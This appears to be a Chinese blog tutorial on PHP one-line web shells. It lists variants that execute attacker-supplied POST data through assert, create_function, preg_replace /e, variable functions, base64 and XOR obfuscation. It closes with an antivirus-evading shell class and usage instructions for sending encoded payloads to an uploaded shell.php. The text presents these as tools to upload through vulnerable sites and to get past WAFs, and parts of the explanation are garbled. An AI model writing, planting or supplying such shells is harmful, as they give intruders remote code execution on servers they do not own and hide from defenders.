文章目录
初始的一句话木马create_function函数call_user_func函数preg_replace函数file_put_contents函数PHP变量函数PHP可变变量str_replace函数base64_decode函数"."操作符运算符变形
初始的一句话木马
找到具有上传漏洞的站点,将该脚本上传,并访问。发现是一片空白,可以说明该木马能被解析。
create_function函数
$fun = create_function('',$_POST['juminfo']);
$fun();
?>
把用户传递的数据生成一个函数fun(),然后再执行fun()。
call_user_func函数
@call_user_func(assert,$_POST['juminfo']);
?>
call_user_func这个函数可以调用其它函数,被调用的函数是call_user_func的第一个函数,被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。
preg_replace函数
@preg_replace("/abcde/e", $_POST['juminfo'], "abcdefg");
?>
这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。
file_put_contents函数
$test='';
file_put_contents("hello.php", $test);
?>
使用方法:先用浏览器访问,生成新的文件"hello.php",再连接"hello.php"。
利用函数生成文件,第一个参数是文件名,第二个参数是文件的内容。
PHP变量函数
$a = "assert";
$a(@$_POST['juminfo']);
?>
第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。
PHP可变变量
$bb="assert";
$a="bb";
$$a(@$_POST['juminfo']);
?>
通过上一个语句进行的多一层变化:$$a =
(
(
(a) = $ (‘bb’) = $bb = “assert”
str_replace函数
$a=str_replace("juminfo", "", "assjuminfoert");
$a(@$_POST['juminfo']);
?>
在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"juminfo"。
base64_decode函数
$a=base64_decode("YXNzZXJ0")
$a($_POST['juminfo']);
?>
这里是base64解密函数,"YXNzZXJ0"是assert的base64加密。
"."操作符
$a="as"."s";
$b="er"."t";
$c=$a.$b;
$c($_POST['juminfo']);
?>
运算符变形
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>
用echo打印出三个变量$_++、$__、$___可以看到他们的值分别为1、_GET、_POST,放入最后一条语句中刚好组成一个两层的一句话木马。
只要我们将0赋值为assert就可以构成经典的一句话,密码是1。
免杀php一句话
class VONE {
function HALB() {
$rlf = 'B' ^ "\x23";
$fzq = 'D' ^ "\x37";
$fgu = 'h' ^ "\x1b";
$sbe = 'R' ^ "\x37";
$gba = 'H' ^ "\x3a";
$oya = 'Y' ^ "\x2d";
$MWUC = $rlf . $fzq . $fgu . $sbe . $gba . $oya;
return $MWUC;}function __destruct() {
$RNUJ = $this->HALB();
@$RNUJ($this->HY);}}
$vone = new VONE();
@$vone->HY = isset($_GET['id']) ? base64_decode($_POST['mr6']) : $_POST['mr6'];
?>
使用说明
是否传入id参数决定是否把流量编码
http://www.xxx.com/shell.php
POST: mr6=phpinfo(); //与普通shell相同
http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo= //payload的base64编码
参考
铭说 | 一句话木马的多种变形方式
上传一句话木马时 php被过滤的解决办法
免杀PHP一句话
精彩内容
发表评论